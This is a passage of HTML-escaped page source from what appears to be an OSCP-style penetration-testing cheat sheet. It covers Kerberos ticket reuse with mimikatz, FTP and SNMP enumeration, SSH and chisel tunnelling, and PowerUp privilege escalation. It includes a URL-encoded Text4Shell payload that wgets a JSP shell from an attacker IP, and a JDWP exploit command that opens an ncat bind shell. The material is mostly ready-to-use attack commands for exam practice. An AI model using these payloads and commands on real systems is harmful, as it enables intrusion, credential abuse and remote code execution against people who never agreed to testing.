[0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;* File: &amp;#39;[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi&amp;#39;: OK&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Current LogonId is 0:0x13bca7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cached Tickets: (1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#0&amp;gt; Client: dave @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Server: cifs/web04 @ CORP.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Ticket Flags 0x40810000 -&amp;gt; forwardable renewable name_canonicalize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start Time: 9/14/2022 5:31:32 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; End Time: 9/14/2022 15:31:13 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Renew Time: 9/21/2022 5:31:13 (local)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Session Key Type: AES-256-CTS-HMAC-SHA1-96&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Cache Flags: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Kdc Called:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; ls \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Directory: \\web04\backup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mode LastWriteTime Length Name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---- ------------- ------ ----&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export the in-memory ticket and then import it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="91ftp-active-mode"&gt;&lt;a href="#91ftp-active-mode" class="header-anchor"&gt;&lt;/a&gt;91.FTP Active Mode&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Switch to active mode with:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;quote pasv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or force active mode with -A before connecting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp -A 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Disable passive mode with the passive command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; passive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Passive mode: off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If that still fails, set an environment variable before connecting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyexport FTP_PASSIVE=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use another FTP client such as lftp, which offers clearer active/passive mode controls:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lftp -u anonymous 192.168.172.145&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lftp&amp;gt; set ftp:passive-mode off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use ls -la or ls -l to view a detailed listing:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; ls -la&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try switching to binary mode before listing the directory:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; binary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; dir&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use quote LIST to send the raw FTP command directly:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; quote LIST&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try using mls to save the directory listing to a local file:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; mls - listing.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Try accessing common default directories on Windows FTP servers:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cd pub&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cd upload&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the exact filename is known, try retrieving it directly:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; get filename.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You can also try switching to the parent directory:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ftp&amp;gt; cdup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="92ssh-tunneling"&gt;&lt;a href="#92ssh-tunneling" class="header-anchor"&gt;&lt;/a&gt;92.SSH Tunneling&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Build a tunnel to carry traffic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh -D 1080 -N Administrator@192.168.125.153&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use proxychains on local port 1080&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="93snmpwalk"&gt;&lt;a href="#93snmpwalk" class="header-anchor"&gt;&lt;/a&gt;93.snmpwalk&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The command above queries command names, for example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# RESET is the command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NET-SNMP-EXTEND-MIB::nsExtendCommand.&amp;#34;RESET&amp;#34; = STRING: ./home/john/RESET_PASSWD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\&amp;#34;COMMAND_NAME\&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Common extended-MIB queries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="94cve-202242889-text4shell"&gt;&lt;a href="#94cve-202242889-text4shell" class="header-anchor"&gt;&lt;/a&gt;94.CVE-2022–42889 (Text4Shell)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://meyerweb.com/eric/tools/dencoder/" target="_blank" rel="noopener"&#10; &gt;https://meyerweb.com/eric/tools/dencoder/&lt;/a&gt;&#9;&#9;# URL encoding website&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;${script:javascript:java.lang.Runtime.getRuntime().exec(&amp;#39;command&amp;#39;)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="95java-debug-wire-protocol-jdwp---remote-code-execution"&gt;&lt;a href="#95java-debug-wire-protocol-jdwp---remote-code-execution" class="header-anchor"&gt;&lt;/a&gt;95.Java Debug Wire Protocol (JDWP) - Remote Code Execution&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/46501" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/46501&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/IOActive/jdwp-shellifier/" target="_blank" rel="noopener"&#10; &gt;https://github.com/IOActive/jdwp-shellifier/&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd &amp;#34;ncat -v -l -p 1234 -e /bin/bash&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This is integrated into the CMD exploit, but the port still requires attention.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="96windows-local-privilege-escalation-use-this-for-a-more-thorough-check"&gt;&lt;a href="#96windows-local-privilege-escalation-use-this-for-a-more-thorough-check" class="header-anchor"&gt;&lt;/a&gt;96.Windows Local Privilege Escalation (Use This for a More Thorough Check)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download PowerUp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ModifiableServiceFile&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or perform a comprehensive check&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-AllChecks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-AllChecks checks all potential service privilege-escalation vectors, including:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Modifiable service executables&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unquoted service paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Misconfigured service permissions, and more&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This avoids manually searching for escalation vectors such as modifiable service executables&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="97chisel"&gt;&lt;a href="#97chisel" class="header-anchor"&gt;&lt;/a&gt;97.chisel&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It can forward local ports, while ligolo-ng cannot expose local services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The reason is unclear, and chisel sometimes also fails in OSCP labs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Chisel also failed to expose local ports; only an SSH tunnel worked&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It is still worth noting because local-port forwarding is important&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 